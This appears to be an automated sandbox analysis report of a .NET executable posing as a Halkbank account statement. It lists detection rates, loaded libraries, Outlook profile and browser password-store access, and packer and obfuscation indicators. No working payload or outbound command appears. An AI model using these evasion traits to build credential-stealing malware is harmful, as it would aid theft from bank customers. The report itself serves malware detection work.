Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002C10000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3223175561.0000000003A2D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002BF2000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002C44000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002C02000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Halkbank_Ekstre_20230426_075819_154055.exe	Virustotal: Detection: 55%
Source: Halkbank_Ekstre_20230426_075819_154055.exe	ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe "C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe"
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe "C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe"
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe "C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: krUK.pdbSHA256COI source: Halkbank_Ekstre_20230426_075819_154055.exe
Source:	Binary string: krUK.pdb source: Halkbank_Ekstre_20230426_075819_154055.exe

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack, XG.cs	.Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack, XG.cs	.Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack, XG.cs	.Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})

.NET source code contains potential unpacker

Source: Halkbank_Ekstre_20230426_075819_154055.exe, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	.Net Code: I9aF6WgXIVr2f97mNYk System.Reflection.Assembly.Load(byte[])
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	.Net Code: I9aF6WgXIVr2f97mNYk System.Reflection.Assembly.Load(byte[])

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: 0xF32F70C2 [Wed Apr 15 21:42:26 2099 UTC]

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Code function: 3_2_01001A60 push esp; retf

3_2_01001A4F

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: section name: .text entropy: 7.95952575244103

Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack, XG.cs	High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack, XG.cs	High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack, XG.cs	High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	High entropy of concatenated method names: 'q1RqieZmx3', 'NAqqmLohun', 'ocoqG1tuFW', 'RiKqQ0CKxd', 'IthqWoIpKn', 'NcFqsjeivw', 'cAeqt1yEHP', 'y9GqVRDjto', 'Nfkq6sbTfC', 'LIHqgj7aEX'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, ziedvnrBRhAIpT5Qi8.cs	High entropy of concatenated method names: 'Yu6nusVhf', 'pupvFh3A3', 'K3iLiTqTb', 'CqdhAd9Ve', 'wFc3Nmrpx', 'IqNrl0b8g', 'pLpCtFN4ruVv7NeP5k', 'cgI6uRmUl2ALWDGbqp', 'tWQkkLgAs', 'ucTZjVc2U'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, awHOa2tvZC3B51kOtt.cs	High entropy of concatenated method names: 'kPwkmvjKC7', 'j2kkGhLo6K', 'D9KkQcZLkA', 'qlBkWGnBRf', 'Gm6ksnhE7E', 'z09kt8Aa8i', 'hUFkVfnDX9', 'xgLk64xoMJ', 'aMykgRRiQo', 'BN2k9uTFDM'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, od4j2WLp01hKGvRovU.cs	High entropy of concatenated method names: 'ToString', 'tpj7KJWl7s', 'uRC7ftHy78', 'ydK7DnGIwS', 'Bp47Jv9MNk', 'P1T7MqsL70', 'kEr72nXW3m', 'pcm7aKwGke', 'jBu7eGBYQZ', 'jt77XEnsjb'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, cfK2jui8T0oYumsHiO.cs	High entropy of concatenated method names: 'S3JtYCdBaj', 'fHwtP3MXdu', 'DT8tnSSet7', 'u36tvts1U3', 'Y1WtToE70S', 'z34tL7FHGj', 'UWmthBTstI', 'Ow9t4mG3gA', 'iCNt3sHWYq', 'fnRtrhLfOi'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, JtOE33hfZH9hFUu4kMg.cs	High entropy of concatenated method names: 'HN38YKmY8V', 'zHt8PHc0II', 'u6P8nhRk9I', 'Paf8vvsToJ', 'sen8Tex6u1', 'mkW8Llc2Vk', 'z9M8hbfGSv', 'wno84c7Sfe', 'o4s83eoT2u', 'Y0X8rpEikK'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, bMHWQvIvpUEgKY4Zg9.cs	High entropy of concatenated method names: 'K9HlSbKuFP', 'bpjlw9N9Ta', 'd6dljoDKuE', 'yX8lEfZQXj', 'ucVlfyVauf', 'Ko3lDXkeyO', 'cmVlJfxesS', 'niilMPaJIe', 'L6fl2SrmGi', 'jmUlaNlBOK'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, t5mbvvPGfGMR4sTcBJ.cs	High entropy of concatenated method names: 'gsTNFLRRiD', 'oPmNBStXwf', 'SwbkH3ZjDg', 'gKBkAUAhsT', 'KyBNKOOvhT', 'QShNw4KOAl', 'Hj2NokQIAA', 'j5jNjdWtuY', 'VkLNElKVqi', 'UNcN5BnIXw'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, l1Qrv9zHACbYjdnnW9.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'EHQ80L4ZVB', 'fZc8lGI0L3', 'FR687La5NE', 'h5W8NmZr9Z', 'n6R8kpKkKM', 'fsx887iYCx', 'R198ZnnWr4'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, xPlBfKlGB2IZMVKKlN.cs	High entropy of concatenated method names: 'a0ZGjML0ZT', 'pKKGE6Z35U', 'Tp0G5tIssF', 'bemGp7phEW', 'TxxG1LldcX', 'hWQGdMNKrj', 'FtXGCLNq5M', 'fP8GFJd42S', 'iUrGbKshS1', 'IVWGBwJMUc'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, AX4t7qyE4jux1hf1Y6.cs	High entropy of concatenated method names: 'Oy9Qv4PvXm', 'P8dQL9LBKC', 'yabQ48llFn', 'acLQ3l9vgA', 'BY6QldWMk2', 'xVeQ7fS5O2', 'WDOQNt4Slf', 'KZ1QkhOxIK', 'gFPQ8gNyNI', 'WZqQZctj56'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, OMxwkrxpKFZmqViVRi.cs	High entropy of concatenated method names: 'YbUtmcbP2C', 'ue4tQHJwiq', 'bwvts0FNnp', 'T51sBAdueg', 'b3mszGAlTK', 'Wt5tHv2XNH', 'Y5OtAiHDin', 'j27tUOQI67', 'BZUtqsRI5G', 'rMFtRlBA5Z'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, HG4SfGhYBDdbP6jIh6a.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OCCZj2lJB1', 'uO0ZEgdHMO', 'mvQZ5x2XDs', 'T82ZpArCY3', 'p0xZ1OnGvb', 'NArZdKxQgA', 'kn3ZCCMU3D'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, pXiQGngKJHAxTaoAu6.cs	High entropy of concatenated method names: 'OjlAtNOEkF', 'cWcAVVNDix', 'wIVAg7ltOs', 'o1JA9bny1K', 'gBXAlucjik', 'sm4A7ZqEoL', 'sjdw3pQ7M8rNHUULhc', 'kMuh0QanupvwdoCZAG', 'UNcAAWtt3E', 'RcnAq3tDEe'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, C6LqXe7ZhCmGCf6YQf.cs	High entropy of concatenated method names: 'hhl04SdvZR', 'YBY03mHuUA', 'Hkg0ISOj8x', 'Dx60fDq20s', 'gtK0J7n6B5', 'qpJ0MbBe2M', 'aFC0aPkspm', 'VhT0ePBIvb', 'X7V0SpZykg', 'Jor0KBLQSt'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, N4uflNZUBmxHnLaKnc.cs	High entropy of concatenated method names: 'kqfsiyccYZ', 'TeDsGocSFB', 'kHVsWx4OLH', 'OtnstG78nF', 'FAtsVZgh07', 'r74W1Wf9Ik', 'uHgWdAkq21', 'o8jWCuFFhY', 'GInWFRvTOm', 'zsXWbyW9S6'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, XgHtcVWpxu9tyOjXNd.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'QbQUb3P727', 'RmgUBpYij8', 'KK5UzuadjQ', 'VxoqHXI0tP', 'ehyqAiZHMJ', 'MlrqUK1IN8', 'A8DqqVAOtP', 'gMX6dWgcubmpT2CuI4E'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, iWk2BpmdKZQmbajR8p.cs	High entropy of concatenated method names: 'rCLkIENXTJ', 't4dkfRjepn', 'nWUkDNMOYk', 'yxjkJh9kew', 'gT1kjNs0vT', 'fTDkMpa3Rw', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, wmDBajVNd98VIVRuG2.cs	High entropy of concatenated method names: 'UnFWThgTPD', 'YJnWhcWfTQ', 'FA8QDaHJJH', 'fGTQJ1UUMe', 'ddGQM1U2xh', 'AQKQ2FXJhB', 'IbRQaoNO9N', 'JsuQe5CXn6', 'DJ2QXYetHL', 'TpuQSDQwfZ'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, lRRIqr2t2v0WVf5PlP.cs	High entropy of concatenated method names: 'hfh8ASyFfO', 'RH08qmaeba', 'DEl8RHpq9d', 'WYO8mTLBc0', 'aXM8G2jrsO', 'CCm8Wq4Cv5', 'Sfk8sxBuHR', 'hnrkCg3K4K', 'IglkFsae7S', 'YYUkbcZI5a'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, EnE7sFddoOZbauWubq.cs	High entropy of concatenated method names: 'Dispose', 'RSpAbGdr9q', 'XowUf8J6OY', 'CSEyyuXuTY', 'MtCABuVvkA', 'QLTAzxD6lm', 'ProcessDialogKey', 'XA6UH5EF25', 'oPIUAJZDNA', 'TPhUUN2Sem'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	High entropy of concatenated method names: 'q1RqieZmx3', 'NAqqmLohun', 'ocoqG1tuFW', 'RiKqQ0CKxd', 'IthqWoIpKn', 'NcFqsjeivw', 'cAeqt1yEHP', 'y9GqVRDjto', 'Nfkq6sbTfC', 'LIHqgj7aEX'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, ziedvnrBRhAIpT5Qi8.cs	High entropy of concatenated method names: 'Yu6nusVhf', 'pupvFh3A3', 'K3iLiTqTb', 'CqdhAd9Ve', 'wFc3Nmrpx', 'IqNrl0b8g', 'pLpCtFN4ruVv7NeP5k', 'cgI6uRmUl2ALWDGbqp', 'tWQkkLgAs', 'ucTZjVc2U'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, awHOa2tvZC3B51kOtt.cs	High entropy of concatenated method names: 'kPwkmvjKC7', 'j2kkGhLo6K', 'D9KkQcZLkA', 'qlBkWGnBRf', 'Gm6ksnhE7E', 'z09kt8Aa8i', 'hUFkVfnDX9', 'xgLk64xoMJ', 'aMykgRRiQo', 'BN2k9uTFDM'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, od4j2WLp01hKGvRovU.cs	High entropy of concatenated method names: 'ToString', 'tpj7KJWl7s', 'uRC7ftHy78', 'ydK7DnGIwS', 'Bp47Jv9MNk', 'P1T7MqsL70', 'kEr72nXW3m', 'pcm7aKwGke', 'jBu7eGBYQZ', 'jt77XEnsjb'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, cfK2jui8T0oYumsHiO.cs	High entropy of concatenated method names: 'S3JtYCdBaj', 'fHwtP3MXdu', 'DT8tnSSet7', 'u36tvts1U3', 'Y1WtToE70S', 'z34tL7FHGj', 'UWmthBTstI', 'Ow9t4mG3gA', 'iCNt3sHWYq', 'fnRtrhLfOi'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, JtOE33hfZH9hFUu4kMg.cs	High entropy of concatenated method names: 'HN38YKmY8V', 'zHt8PHc0II', 'u6P8nhRk9I', 'Paf8vvsToJ', 'sen8Tex6u1', 'mkW8Llc2Vk', 'z9M8hbfGSv', 'wno84c7Sfe', 'o4s83eoT2u', 'Y0X8rpEikK'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, bMHWQvIvpUEgKY4Zg9.cs	High entropy of concatenated method names: 'K9HlSbKuFP', 'bpjlw9N9Ta', 'd6dljoDKuE', 'yX8lEfZQXj', 'ucVlfyVauf', 'Ko3lDXkeyO', 'cmVlJfxesS', 'niilMPaJIe', 'L6fl2SrmGi', 'jmUlaNlBOK'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, t5mbvvPGfGMR4sTcBJ.cs	High entropy of concatenated method names: 'gsTNFLRRiD', 'oPmNBStXwf', 'SwbkH3ZjDg', 'gKBkAUAhsT', 'KyBNKOOvhT', 'QShNw4KOAl', 'Hj2NokQIAA', 'j5jNjdWtuY', 'VkLNElKVqi', 'UNcN5BnIXw'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, l1Qrv9zHACbYjdnnW9.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'EHQ80L4ZVB', 'fZc8lGI0L3', 'FR687La5NE', 'h5W8NmZr9Z', 'n6R8kpKkKM', 'fsx887iYCx', 'R198ZnnWr4'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, xPlBfKlGB2IZMVKKlN.cs	High entropy of concatenated method names: 'a0ZGjML0ZT', 'pKKGE6Z35U', 'Tp0G5tIssF', 'bemGp7phEW', 'TxxG1LldcX', 'hWQGdMNKrj', 'FtXGCLNq5M', 'fP8GFJd42S', 'iUrGbKshS1', 'IVWGBwJMUc'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, AX4t7qyE4jux1hf1Y6.cs	High entropy of concatenated method names: 'Oy9Qv4PvXm', 'P8dQL9LBKC', 'yabQ48llFn', 'acLQ3l9vgA', 'BY6QldWMk2', 'xVeQ7fS5O2', 'WDOQNt4Slf', 'KZ1QkhOxIK', 'gFPQ8gNyNI', 'WZqQZctj56'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, OMxwkrxpKFZmqViVRi.cs	High entropy of concatenated method names: 'YbUtmcbP2C', 'ue4tQHJwiq', 'bwvts0FNnp', 'T51sBAdueg', 'b3mszGAlTK', 'Wt5tHv2XNH', 'Y5OtAiHDin', 'j27tUOQI67', 'BZUtqsRI5G', 'rMFtRlBA5Z'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, HG4SfGhYBDdbP6jIh6a.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OCCZj2lJB1', 'uO0ZEgdHMO', 'mvQZ5x2XDs', 'T82ZpArCY3', 'p0xZ1OnGvb', 'NArZdKxQgA', 'kn3ZCCMU3D'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, pXiQGngKJHAxTaoAu6.cs	High entropy of concatenated method names: 'OjlAtNOEkF', 'cWcAVVNDix', 'wIVAg7ltOs', 'o1JA9bny1K', 'gBXAlucjik', 'sm4A7ZqEoL', 'sjdw3pQ7M8rNHUULhc', 'kMuh0QanupvwdoCZAG', 'UNcAAWtt3E', 'RcnAq3tDEe'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, C6LqXe7ZhCmGCf6YQf.cs	High entropy of concatenated method names: 'hhl04SdvZR', 'YBY03mHuUA', 'Hkg0ISOj8x', 'Dx60fDq20s', 'gtK0J7n6B5', 'qpJ0MbBe2M', 'aFC0aPkspm', 'VhT0ePBIvb', 'X7V0SpZykg', 'Jor0KBLQSt'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, N4uflNZUBmxHnLaKnc.cs	High entropy of concatenated method names: 'kqfsiyccYZ', 'TeDsGocSFB', 'kHVsWx4OLH', 'OtnstG78nF', 'FAtsVZgh07', 'r74W1Wf9Ik', 'uHgWdAkq21', 'o8jWCuFFhY', 'GInWFRvTOm', 'zsXWbyW9S6'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, XgHtcVWpxu9tyOjXNd.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'QbQUb3P727', 'RmgUBpYij8', 'KK5UzuadjQ', 'VxoqHXI0tP', 'ehyqAiZHMJ', 'MlrqUK1IN8', 'A8DqqVAOtP', 'gMX6dWgcubmpT2CuI4E'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, iWk2BpmdKZQmbajR8p.cs	High entropy of concatenated method names: 'rCLkIENXTJ', 't4dkfRjepn', 'nWUkDNMOYk', 'yxjkJh9kew', 'gT1kjNs0vT', 'fTDkMpa3Rw', 'Next', 'Next', 'Next', 'NextBytes'
